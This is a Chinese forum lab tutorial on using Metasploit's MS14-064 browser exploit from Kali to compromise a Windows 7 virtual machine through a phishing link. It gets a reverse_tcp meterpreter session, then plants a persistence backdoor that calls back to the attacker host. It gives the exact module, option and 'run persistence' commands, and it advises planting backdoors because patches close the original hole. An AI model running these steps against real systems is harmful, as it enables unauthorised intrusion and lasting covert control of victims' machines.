优化你的安全实验:探索钓鱼网站的挑战

钓鱼网站+persistence植入后门程序+创建用户

本实验实现1:利用MS14-064漏洞,会生成一个网址,诱导用户点击,打开后,会直接连接到发起攻击的主机上,即可攻击成功。

本实验实现2:一旦入侵成功,则拿到控制目标主机的部分权限,后通过persistence,在目标主机上生成一个固定的后门程序,以便后续不再通过MS14-064漏洞进行二次入侵,而是通过这个后门文件来入侵该主机。在向目标主机成功植入后门后,进行验证,重新通过已植入的后门程序,二次入侵目标主机,最终攻击成功。

本实验实现3:在kali控制win7后,实现创建用户的操作。

在VMware上建立两个虚拟机:win7和kali。

Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。

可以永久免费使用,基本上学黑客攻击必会用到这个系统。

靶机:Win7 64位 (IP: 192.168.10.45)–用ipconfig进行查询。

图片[1]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛
图片[2]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

1、实验环境前提条件

win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)。

保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)。$ping 192.168.10.45

图片[3]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

2、打开Metasploit渗透工具

Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端:>msfconsole

结果:成功进入,进入到”msf6>“的模式下

图片[4]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

3、查看需要利用的漏洞

搜索漏洞,编号为MS14-064。

MS14-064为Windows OLE自动化阵列远程代码执行漏洞。当IE不作访问内存中的对象时,存在远程代码执行漏洞。OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,用户使用IE浏览器查看该网站时允许远程执行代码。

补充:Windows系统漏洞微软的漏洞编号命名格式为:MS14-064;

MS Micosoft的缩写,固定格式;
14 表示年份,即2014年发布的漏洞;
064 表示顺序,即当年度发布的第64个漏洞。>search ms14-064

结果:可以看到返回了多条可利用的漏洞模块信息

图片[5]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

4、尝试利用其中一个漏洞模块进行攻击

利用其中一个漏洞攻击模块-0模块,进行攻击,进入模块中(注意:必须是“_”,不是“-”,否则会报错)。>use exploit/windows/browser/ms14_064_ole_code_execution

结果:成功切换到这个模块之下–”msf6 exploit(windows/browser/ms14_064_ole_code_execution)>“

并提示“no payload configured,defaulting to windows/meterpreter/reverse_tcp”–没有配置payload,默认为 windows/meterpreter/reverse_tcp

5、查看该漏洞模块所需的参数情况

进到这个漏洞模块之后,先查看该测试模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数。>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注6个参数配置,需要设置哪个就设置哪个:

Payload (攻击载体-使用默认的windows/meterpreter/reverse_tcp即可) ;

SRVHOST (文件共享服务器-kali地址);

SRVPORT (文件共享服务器的端口-使用默认获取的端口即可);

LHOST (发起攻击的地址-kali地址);

LPORT (发起攻击的端口-使用默认获取的端口即可);

AllowPowershellPrompt (开启浏览器插件,默认为false)

图片[6]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛
图片[7]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

补充说明:

1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

2)Payload模块主要有以下三种类型:-Single    -Stager    -Stage

Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。   一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

注意:Payloadwindows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter32位,

如果想将之后获取到的控制通道meterpreter改为64位,则设置。payload:windows/x64/meterpreter/reverse_tcp

6、设置文件共享服务器

发现SRVHOST为空,待设置,其它(payload/SRVPORT/LHOST/LPORT)均已获取,且正确,设置SRVHOST的对应的参数地址,它指的是文件共享服务器的地址,想一想,要设成谁?为什么?

分析一下:是在哪里用到这个文件共享服务器?是不是会在生成一个网址,诱导用户点击了,就会直接连接到发起攻击的主机上。那你们觉得应该是谁生成这个连接呢?是用户那边么?还是攻击者这边?肯定是攻击者这边吧,我们是不知道会有谁点了这个网站链接吧。

所以,我们才会对这个文件共享服务器的地址设置为kali的地址>set SRVHOST 192.168.10.21

图片[8]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛
图片[9]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

9、检查无误后,发起攻击

>run

结果:生成一个网站的链接“Using URL : http://192.168.10.21:8080/xE6RxjSy,开启服务,光标停留在这,等待有人点击该网站链接。

图片[10]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

10、打开网站链接

到win7中,在IE浏览器中打开网站链接: http://192.168.10.21:8080/xE6RxjSy,会提示是否允许打开一个文件,选择“允许”之后,即可触发会话连接。

注意:与MS10-046的反馈结果有所不同,详情可参考我的另一篇文章《钓鱼网站+bypassuac提权》】

图片[11]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

结果1:在win7中打开链接后,不会有任何的反馈结果。

图片[12]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

结果2:由于在win7中触发打开了网址链接,那么,在kali中,则会触发会话连接,结果显示了是192.168.10.45(目标主机win7)尝试点击了该网站链接,于是,kali利用MS14-064漏洞模块对目标主机发起了攻击,最终,“meterpreter session 1 opened”–表明已经开通192.168.10.21:4444和192.168.10.45:49191会话连接1。

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功。

图片[13]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接。

1)手动查看当前存在的会话

注意在目录msf>下,手动查看当前存在的会话。

结果:当前只有会话连接1,meterpreter建立的连接类型type是x86–32位的(由模块中的payload设定),以及展示目标主机192.168.10.45的基本信息和连接信息。>sessions

图片[14]-优化你的安全实验:探索钓鱼网站的挑战-山海云端论坛

2)选择连接当前已经开通的会话1>sessions -i 1

结果:成功进入控制通道meterpreter,交互模式,表明攻击成功。

11、植入后门程序

在kali控制win7后,通过persistence,在目标主机上生成一个后门程序,以便后续不再通过MS14-064漏洞进行二次入侵,而是通过这个后门文件来入侵该主机【注意在控制通道meterpreter>下】。

注意:因为这个MS14-064漏洞很容易被修复,一旦目标主机进行定期修补漏洞,那么通过MS14-064漏洞进行入侵的路径,就会失效,但植入的后门程序是不容易被发现和修复的,所以一旦入侵成功后,建议尝试植入后门程序。

通过persistence(支持多种方式启动)植入固定的后门程序,设置相关参数,设置回连地址和端口号。>run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21

重点关注6个参数配置:

-S:系统启动时自动加载本程序(因为该后门程序是不能被目标用户发现,更不需要让目标主机进行点

击启动的,所以需要该程序有自动加载的功能);

-U:用户登陆时自动加载本程序;

-X:开机时自动加载本程序;

-i:自动加载后,回连的时间间隔,即后门每隔多少秒尝试连接回连地址;

-r:自动加载后,回连的主机地址,回连到谁啊,自然是入侵的kali的地址;

-p:自动加载后,回连的端口号,即kali地址的端口号,理论上可随意设置,但范围不要超过65535,且

不可设置为常见的特殊的端口号;

结果1:在kali中提示,成功生成一个后门程序yqLAOjt.vbs,自动加载后会回连到192.168.10.21:40000,并保存于目标主机win7中的C:\Users\18044\AppData\Local\Temp\目录下。

注意:payload自动设置为“windows/meterpreter/reverse_tcp”,LHOST设置为192.168.10.21,LPORT设置为40000】

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容